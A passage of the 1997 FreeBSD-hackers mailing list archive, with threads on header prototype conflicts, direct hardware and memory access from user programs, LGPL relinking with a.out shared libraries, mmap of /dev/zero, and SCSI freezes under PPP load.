Jun 1997 10:24:53 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA15724 for ; Mon, 23 Jun 1997 10:24:51 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA00842; Mon, 23 Jun 1997 10:11:26 -0700 From: Terry Lambert Message-Id: <199706231711.KAA00842@phaeton.artisoft.com> Subject: Re: inconsistent declarations To: jdd@vbc.net (Jim Dixon) Date: Mon, 23 Jun 1997 10:11:26 -0700 (MST) Cc: imb@scgt.oz.au, hackers@FreeBSD.ORG In-Reply-To: from "Jim Dixon" at Jun 22, 97 05:03:23 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > >/usr/include/dlfcn.h > > > void *dlopen __P((const char *,int)); > > > void *dlsym __P((void *, const char*)); > > > > > >/usr/include/link.h > > > extern void *dlopen __P((char *,int)); > > > extern void *dlsym __P((void *,char*)); > > > > This breaks the build of postgresql-6.1 for 2.1-stable :-( > > Precisely. > > It can be fixed by reversing the order of inclusion of the header > files in src/src/backend/port/BSD44_derived/dl.c and then modifying > link.h so that dlopen() and dlsym() are inside an > #ifndef _DLFCN_H_ > ... > #endif This seems silly. The "link.h" prototypes are wrong; they should have "const" added. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 23 10:36:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA16614 for hackers-outgoing; Mon, 23 Jun 1997 10:36:09 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA16607 for ; Mon, 23 Jun 1997 10:36:06 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id KAA14220; Mon, 23 Jun 1997 10:25:26 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd014212; Mon Jun 23 17:25:24 1997 Message-ID: <33AEB13C.2781E494@whistle.com> Date: Mon, 23 Jun 1997 10:24:12 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Michael Smith CC: Steve Howe , joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG Subject: Re: direct access References: <199706231157.VAA18802@genesis.atrad.adelaide.edu.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Michael Smith wrote: > > > One of these mappings arranges pages so that kernel virtual addresses > in the range 0xa0000-0xfffff refer to physical addresses > 0xa0000-0xfffff, in order to make life slightly easier for ISA > drivers. It doesn't apply to user processes, which have their own > mappings. > > *GONG* the kernel maps 0xa0000->0xfffff to 0xf00a000->0xf00fffff From owner-freebsd-hackers Mon Jun 23 10:40:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA17015 for hackers-outgoing; Mon, 23 Jun 1997 10:40:47 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA17009 for ; Mon, 23 Jun 1997 10:40:44 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id KAA14668; Mon, 23 Jun 1997 10:37:16 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd014666; Mon Jun 23 17:37:14 1997 Message-ID: <33AEB401.446B9B3D@whistle.com> Date: Mon, 23 Jun 1997 10:36:01 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Steve Howe CC: freebsd-hackers Subject: Re: direct access References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe wrote: > > > why is everyone telling me what i'm doing is no good for anything? > either i'm crazy, or y'all know all possible uses of everything? > hehe! i have code that lets me execute a function and > will list all devices connected via PC ports, and that is > highly desirable to me. maybe not to you, but to me it is. > i don't have to open a PC to see what's in it. > cuz sometimes my pc's are underground. > so reading ports directly is > important to me. > I think you've asked the wrong questions then.. Firstly: you don't want to probe ports while the system is running you could seriously confuse things, because the system is using these devices constantly, even when you are doing nothing.. boot from a floppy and have your diagnostic there (I've previously explained how to do that) > haha! no, but i have no need for flow control at 9600 bps in a > 80x186 @ 8mhz with an 8250 in an "ethernet" type radio modem network. > thanks though - i appreciate your valuable information. BSD will not run on a 186 but a 386sx20 will run ports at 115000 without flow control. > that's what i think i want - a bogus environment. > whatever is simple & fast. in this application, > i don't care about the code running on SunOS. > i have specific apps, and they will run on low end > PC systems, in highly controlled, 1 user environments. if you are wanting to use less than 386 machines you need to go elsewhere. > ok - then i guess i want OS services ... > spiffo? hehe! this is not a problem, this stuff runs under very > controlled, non-interactive environments. can't i create a lockfile > like any other app that uses a device? for some devices, yes. for others no. > i see a few generalizations about device drivers, > but no solid instructions / rules for FreeBSD. in /usr/share/examples/drivers are two shell scripts that WRITE A DRIVER FOR YOU juat answer the questions then take the output and fill in the bits you want to add. > because i am dealing with unique hardware, a2d cards, parallel i/o > cards, 8530's, that the kernel will know nothing about, and i need > simple and effective ways of dealing with them. some people say > UN*X is no good for embedded systems because drivers are such a > hassle. maybe they are? i don't know. no they are easy.. you want a driver. Use the example driver programs then your application rograms become SO SIMPLE. > > > learn about what's going on, attach a debugger to the kernel and > > look at both the source _and_ the data. with 2 machines hooked together with a serial cable and the right s/w loaded, you can single step the 2md machine in the kernel and examine each line of C as it's run, and look at all variables, structures etc. THAT is educational, as it takes into account all the mappings for you. > > > Hah. 'fsdb' is your friend here. Don't expect to be able to cruise > > your disks looking for the magic bit to twiddle to "undlete" your > > files though. Aside from that, use something like beav on the disk > > devices, while they are unmounted. > > thanks. i've heard many others ask, but never saw an answer. > i need something that will do a search on every block. > From owner-freebsd-hackers Mon Jun 23 10:42:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA17232 for hackers-outgoing; Mon, 23 Jun 1997 10:42:47 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA17227 for ; Mon, 23 Jun 1997 10:42:45 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA00897; Mon, 23 Jun 1997 10:31:43 -0700 From: Terry Lambert Message-Id: <199706231731.KAA00897@phaeton.artisoft.com> Subject: Re: direct access To: un_x@anchorage.net (Steve Howe) Date: Mon, 23 Jun 1997 10:31:43 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Steve Howe" at Jun 22, 97 09:12:17 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > it can read/write 1 RAM blocks > > > 2 Port Addresses > > > 3 Hard/Floppy Drives > > > 4 Files > > > A user process on any Unix system cannot easily edit 1, 2 or 3. > > that's what i'm finding out. but i want all the direct access and speed > i can get. how low-level can i get? i'd like the "driver" level. > is there specific documentation (other than source) about it? > what's /dev/io all about? If you open /dev/io, you are then permitted to read and write port addresses via {in|out}{b|w} instructions (use the macros in the system header files for best results). > simple low-level i/o routines moved to UN*X, namely > VGA-i/o, RAM-i/o, PORT-i/o, and DISK-i/o. > > for example, i need char i/o to the vga screen. You will need to open the /dev/vga device and mmap() it as a file. As long as you are talking about directly writing video RAM, and not INT 10 I/O, there's not a problem. The INT 10 I/O is problematic, since many card manufacturers too cheap to spring for dual ported (video) RAM want to avoid strobing except during the retrace interval (to eliminate "sparklies"). They do this by waiting for the vertical retrace before proceeding with the INT 10 operation. Because the INT 10 operation is time sensitive, they disable other interrupts while they are doing this. Like, oh, say the serial port which your PPP connection is on or the net card your LAN connection is on or the floppy controller that your non-FIFO protected QIC-40/80 tape is on, etc.. User generation of hardware interrupts is not permitted. > as far as ram goes, i like to watch whats going on > in physical ram to learn about systems. You would be much happier with opening /dev/kmem, /dev/mem, or /proc for the process you want to watch. A virtual memory system can be considered to be multiple machines running on the same hardware. The memory mappings are by kernel and per process page tables which references the virtual address space for the "machine". This, in turn, is backed by physical pages in 4k chunks. Looking at the physical pages is not going to give you a lot of information, but looking at the virtual pages can be quite informative for a given process. Many debuggers on UNIX work through /proc. > as far as drives go, file recovery - searching for deleted HD data, > which i desperatley need, Use "fsdb". Be warned that if you lose data on a drive while you are actively writing files, even temp files, on the same drive, that data is probably gone forever. In addition, the FS layout is significantly different than the FS layout for DOS. Because of this, most DOS tools will be completely useless. > as far as ports go, the code i'd like to port, detects and > debugs certain devices. This is a mistake if the machine has a PNP BIOS, or if the devices are EISA, PCI, or MCA (ie: anything other than ISA and those VESA devices which don't pretend they are EISA devices). You would be better off looking at the kernel probe data structures, which contain this information (this assumes that you use a "PNP-aware" kernel, or apply Sujal Patel's PNP patches to yyour kernel). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 23 10:43:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA17307 for hackers-outgoing; Mon, 23 Jun 1997 10:43:23 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA17300 for ; Mon, 23 Jun 1997 10:43:18 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id DAA18516; Tue, 24 Jun 1997 03:39:52 +1000 Date: Tue, 24 Jun 1997 03:39:52 +1000 From: Bruce Evans Message-Id: <199706231739.DAA18516@godzilla.zeta.org.au> To: bde@zeta.org.au, jkh@time.cdrom.com Subject: Re: use of readline() Cc: gclarkii@main.gbdata.com, hackers@FreeBSD.ORG, msmith@atrad.adelaide.edu.au Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >This is unusual, of course, since the FSF switched to the LGPL for >just about every other GNU lib I can find and I can only assume that >either the author was feeling particularly restrictive or, in fact, >nobody ever bothered to update the copyright. :) I think it (libreadline) gets maintained mostly together with bash. Bruce From owner-freebsd-hackers Mon Jun 23 10:49:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA17793 for hackers-outgoing; Mon, 23 Jun 1997 10:49:19 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA17788 for ; Mon, 23 Jun 1997 10:49:14 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA00920; Mon, 23 Jun 1997 10:35:41 -0700 From: Terry Lambert Message-Id: <199706231735.KAA00920@phaeton.artisoft.com> Subject: Re: Handbook - ascii form?? To: andrsn@andrsn.stanford.edu (Annelise Anderson) Date: Mon, 23 Jun 1997 10:35:41 -0700 (MST) Cc: chuckr@glue.umd.edu, brian@awfulhak.org, jkh@time.cdrom.com, kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Annelise Anderson" at Jun 22, 97 11:09:06 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > OK, there's one problem with that. I think that the ftp server is letting > > folks download handbook.ascii as ascii text, which is eating the backspace > > keys. Gotta download this as binary! > > That's right, if it's downloaded as a binary file it retains the ^H etc. > formatting codes; otherwise it doesn't. Just a clarification: the FTP server "lets" anyone download any data in binary or text format. This is not a file attribute that the FTP server controls. Most likely, you are using a WWW browser which is making a bad assumption about the ".txt" extension. You should modify it's "options" or manually edit the "mailcap" file to remove the clear-text association for the ".txt" extension. Alternately, obtain a browser that works. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 23 11:00:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA18412 for hackers-outgoing; Mon, 23 Jun 1997 11:00:07 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA18407 for ; Mon, 23 Jun 1997 11:00:05 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA00960; Mon, 23 Jun 1997 10:48:49 -0700 From: Terry Lambert Message-Id: <199706231748.KAA00960@phaeton.artisoft.com> Subject: Re: problem with /dev/zero and mmap?? To: gurney_j@resnet.uoregon.edu Date: Mon, 23 Jun 1997 10:48:48 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <19970623030040.50241@hydrogen.nike.efn.org> from "John-Mark Gurney" at Jun 23, 97 03:00:40 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > well.. I was just experimenting with mmap and discovered that something > works when it shouldn't: > > fd=open("/dev/zero", O_RDONLY, 0); > base=mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); > base[0]=4; > > the above won't cause a bus error.. but replace /dev/zero with a normal > file and it will fail as expected (with a Bus error)... shouldn't the > mmap behave the same?? if you try and write to the fd, it will set > errno to EBADF, just like the man page says... > > well... I am looking at sys/vm/vm_mmap.c, and it looks like that special > hack for SunOS (on line 228) is a bit to early... or does sunos require > that you be able to do the above? > > I know it's minor, but it encorages bad programming, and someone might > use code similar to the above and wonder why it stops working when they > switch to a normal file, or other char device... This use of /dev/zero is a "well known hack" for obtaining zero filled anonymous pages from swap. When you map pages from /dev/zero, you create a mapped page address range which, even though it is MAP_SHARED is local only to your process (you *can* cause child processes to inherit a shared copy of this region using rfork() to implement your "fork()" instead of calling it directly). The write succeeds because pages you mapped are not associated with the fd after the mapping. This technique is frequently used on "mediaum model" OS's to get contiguous buffers in excess of the 64k limit. If things behaved as you wanted, there would be two possible consequences: 1) You would modify the contents of /dev/zero for other users of the device. This is not acceptable. 2) The mmap() would fail because of the conflict between O_RDONLY and PROT_WRITE. Either of these would render your request useless, since you can get "read-only zeros" much easier using memset()/mprotect(). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 23 11:22:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA19635 for hackers-outgoing; Mon, 23 Jun 1997 11:22:32 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA19627 for ; Mon, 23 Jun 1997 11:22:26 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA00997; Mon, 23 Jun 1997 11:09:44 -0700 From: Terry Lambert Message-Id: <199706231809.LAA00997@phaeton.artisoft.com> Subject: Re: use of readline() To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 23 Jun 1997 11:09:44 -0700 (MST) Cc: gclarkii@main.gbdata.com, msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG In-Reply-To: <8693.867068734@time.cdrom.com> from "Jordan K. Hubbard" at Jun 23, 97 05:25:34 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I belive that readline is the GNU version correct? > > Would this not make all of these programs fall under the GNU Copyleft? > > No. Go read the LGPL. Jordan's right. They will not fall under GNU "Copyleft". What will happen, however, is that they *will* all fall under the "relink clause" of the LGPL (ie; you must allow users to relink your application against a newer version of the library). Unfortunately, the BSD version of shared libraries can not meet this clause, and the LGPL does not take notice of shared library technology, being an antiquated document. The BSD shared libraries can not meet this clause because the agregate initialized data from the library *must* be linked into the executable image. This is because the default BSD executable format, a.out, does not support section attribution; if it did, the shared library image could have seperate sections for code and data, and there would not be a collision with the data section in the program itself. BSD *happens* to place non-agregate global data for the library (uninitialized global and static data) into the image as well. Sun Microsystems recognized this problem early on, and went to a scheme where they compile the shared libraries with special compiler flags to note the data references, and then seperated the code and data into seperate files in /usr/lib. They did this to save image size more than to support use of LGPL libraries. Although ELF technology has the capability to support section attribution, and thus resolve this issue, even Linux, a native ELF system making heavy use of LGPL'ed libraries, currently do not use this technique to meet the relink clause. Because of this, it's possible that, after a library change in which the only change was to the size of data objects, programs which were formerly in compliance with LGPL would be in noncompliance. Under the terms of the LGPL, this would allow users to demand linkable object modules from commercial vendors as the minimum remedy. I have argued with Richard Stallman for specific recognition of shared library technology, and an exception to the code inclusion and relink clauses, nearly ever since the LGPL was published... to no avail. My advice is to not use LGPL'ed libraries unless you are prepared to ship linkable objects for your products, or until such time as FreeBSD moves to ELF (or a similar section attributable object format, like ELF -- ELF64, etc.) and implements seperate data sections for library data so that tey need not be linked with the image. Nay-Sayers: This issue has been discussed before under the topic "LGPL"; linkage and "nm" based data dumps proving location of agregate initialized library data were provided in those discussions; see the -hackers and -current list archive on www.freebsd.org for details before counter-claiming that shared library data is not linked into a.out images to save yourself embarrasment. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 23 11:23:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA19727 for hackers-outgoing; Mon, 23 Jun 1997 11:23:30 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA19704 for ; Mon, 23 Jun 1997 11:23:21 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA09017; Mon, 23 Jun 1997 20:22:18 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id UAA27818; Mon, 23 Jun 1997 20:12:05 +0200 (MET DST) Message-ID: <19970623201205.OW23728@uriah.heep.sax.de> Date: Mon, 23 Jun 1997 20:12:05 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Cc: un_x@anchorage.net (Steve Howe) Subject: Re: direct access References: <8944.867072432@time.cdrom.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <8944.867072432@time.cdrom.com>; from Jordan K. Hubbard on Jun 23, 1997 06:27:12 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > > thanks. is there some instruction on them for FreeBSD? > > /usr/src/sys - and I'm not joking. :) Well, there are at least two other sources of information: . ``The 4.4BSD Operating System. Design and Implementation.'', by McKusick et al. The definite bible about the 4.4BSD kernel internals. . A slowly growing manual section 9. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 23 11:23:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA19771 for hackers-outgoing; Mon, 23 Jun 1997 11:23:52 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA19756 for ; Mon, 23 Jun 1997 11:23:44 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA09049; Mon, 23 Jun 1997 20:23:42 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id UAA27843; Mon, 23 Jun 1997 20:20:14 +0200 (MET DST) Message-ID: <19970623202014.WQ44135@uriah.heep.sax.de> Date: Mon, 23 Jun 1997 20:20:14 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Cc: un_x@anchorage.net (Steve Howe) Subject: Re: direct access References: <199706231157.VAA18802@genesis.atrad.adelaide.edu.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199706231157.VAA18802@genesis.atrad.adelaide.edu.au>; from Michael Smith on Jun 23, 1997 21:27:39 +0930 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Michael Smith wrote: > Joerg talked about the "ISA hole"; let's clarify a little. ... > One of these mappings arranges pages so that kernel virtual addresses > in the range 0xa0000-0xfffff refer to physical addresses > 0xa0000-0xfffff, in order to make life slightly easier for ISA > drivers. It doesn't apply to user processes, which have their own > mappings. I think it's mapped to the kernel virtual addresses (KVA) 0xf00a0000 and above, not to the low addresses. That is, right below the kernel text (0xf0100000). But again, this knowledge is useful inside device drivers, not user programs. > An LKM is just a slab of code that gets loaded into the kernel. You > can write device drivers; they're not rocket science. I also always felt that it was easier to write a device driver, than a devicer driver LKM. :) After all, Steve, a Unix device driver is just a piece of C code, nothing else. It's only that it is linked into another executable, the kernel, and normally uses a standardized set of functions to talk to the environment. Layering the implementation is one of the wonderful things in Unix (and not only there). You can usually divide your task into three layers: the device driver, abstracting the hardware for you into read/write/ioctl system calls. Then comes backend layers, userland programs to manipulate device drivers. To pick an example device driver i'm confident with, the CD-R driver, this is things like the `wormcontrol' utility that allows you to manipulate some driver stuff, and/or simple things like a `dd' command doing the basic IO. On top of all this, there's the user interface, something that makes every- thing usable at all. It can be a simple shell script glueing all the pieces together, which gives you a quick start. Or it could be a fancy graphical user interface with one of the graphical toolkits. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 23 11:24:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA19979 for hackers-outgoing; Mon, 23 Jun 1997 11:24:41 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA19974 for ; Mon, 23 Jun 1997 11:24:37 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA01010; Mon, 23 Jun 1997 11:11:55 -0700 From: Terry Lambert Message-Id: <199706231811.LAA01010@phaeton.artisoft.com> Subject: Re: OpenBSD To: imp@village.org (Warner Losh) Date: Mon, 23 Jun 1997 11:11:55 -0700 (MST) Cc: spork@super-g.com, black@zen.cypher.net, mrcpu@cdsnet.net, hackers@FreeBSD.ORG In-Reply-To: from "Warner Losh" at Jun 23, 97 08:26:24 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > : > > Of course, the "20 or more security fixes", w/o mentioning subsystems was > I have at least 50 in my tree here from OpenBSD and about 150 more on > deck to check out when I get the time and energy again. The "checkout" > ones are running about 50% in FreeBSD, 40% should be in FreeBSD, 9% > OpenBSD specific for some reason, and 1% bad fixes. Have you clarified for them the "bad fixes"? I would hate for FreeBSD to do the same thing that Lynne Jolitz did regarding the patchkit patches: state that there were bad fixes, and then refuse to identify them so that they could be defended (or repaired). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 23 11:53:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA22082 for hackers-outgoing; Mon, 23 Jun 1997 11:53:10 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA22077 for ; Mon, 23 Jun 1997 11:53:06 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA09572 for hackers@FreeBSD.ORG; Mon, 23 Jun 1997 20:52:37 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id UAA27994; Mon, 23 Jun 1997 20:27:45 +0200 (MET DST) Message-ID: <19970623202745.TB42067@uriah.heep.sax.de> Date: Mon, 23 Jun 1997 20:27:45 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: direct access References: <199706231157.VAA18802@genesis.atrad.adelaide.edu.au> <33AEB13C.2781E494@whistle.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <33AEB13C.2781E494@whistle.com>; from Julian Elischer on Jun 23, 1997 10:24:12 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Julian Elischer wrote: > *GONG* > the kernel maps 0xa0000->0xfffff to 0xf00a000->0xf00fffff If you now add another zero to the first address, it will be allright. *plong* :-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 23 12:00:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22391 for hackers-outgoing; Mon, 23 Jun 1997 12:00:44 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA22382 for ; Mon, 23 Jun 1997 12:00:39 -0700 (PDT) Received: (qmail 5955 invoked by uid 1000); 23 Jun 1997 19:00:26 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Mon, 23 Jun 1997 12:00:26 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: FreeBSd-Hackers@FreeBSD.ORG Subject: I/O Errors with PPP Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Y'all, This is a continuation of a problem we encounter when running the new DPT SCSI driver on a Pentium Pro machine. To make long stories short, here is what we did: * Setup kernel PPP session to our favorite ISP. We tried, V34, 64K ISDN and 128Kb ISDN. Same result. * Start make release, make world, or dump. Result: Either the system FREEZES solid or all access to a given disk devie blockes indefinitely. The second case seems more common. To verify, we had another scenario: * Do NOT start PPP * Start X11 (XF8633), open an xterm, login to another system and run an endless loop of ``ls -alR''. * Start a compile, dump to tape (sure crasher) or even large dump on two tape drives at the same time. Result: Perfect behavior and completion. The above are with or WITHOUT software interrupts enabled in the driver. Actually, these results are reproducable wit hthe software interrupts #ifdef`ed out of the driver. Load does not seem to matter, as long as there is some. We managed to get crashes overnight when cvsup was running from a cron entry, or receiving email. Any suggestions will be appreciated. Simon P.S. We do see an occsional sio buffer overflow when running ISDN. From owner-freebsd-hackers Mon Jun 23 12:00:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22433 for hackers-outgoing; Mon, 23 Jun 1997 12:00:56 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA22422 for ; Mon, 23 Jun 1997 12:00:53 -0700 (PDT) Received: from ptway.com (apollo.ptway.com [199.176.148.3]) by agora.rdrop.com (8.8.5/8.8.5) with ESMTP id MAA01788 for ; Mon, 23 Jun 1997 12:00:42 -0700 (PDT) Received: from brianjr.haskin.org (222R1.ptway.com [199.176.148.89]) by ptway.com (8.7.1/3.4W4-PTWAY-sco-ODT3.0) with SMTP id OAA13169 for ; Mon, 23 Jun 1997 14:52:30 -0400 (EDT) Message-Id: <1.5.4.32.19970623185732.0068153c@mail.ptway.com> X-Sender: haskin@mail.ptway.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 23 Jun 1997 14:57:32 -0400 To: FreeBSD-hackers@freebsd.org From: Brian Haskin Subject: Re: direct access Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org 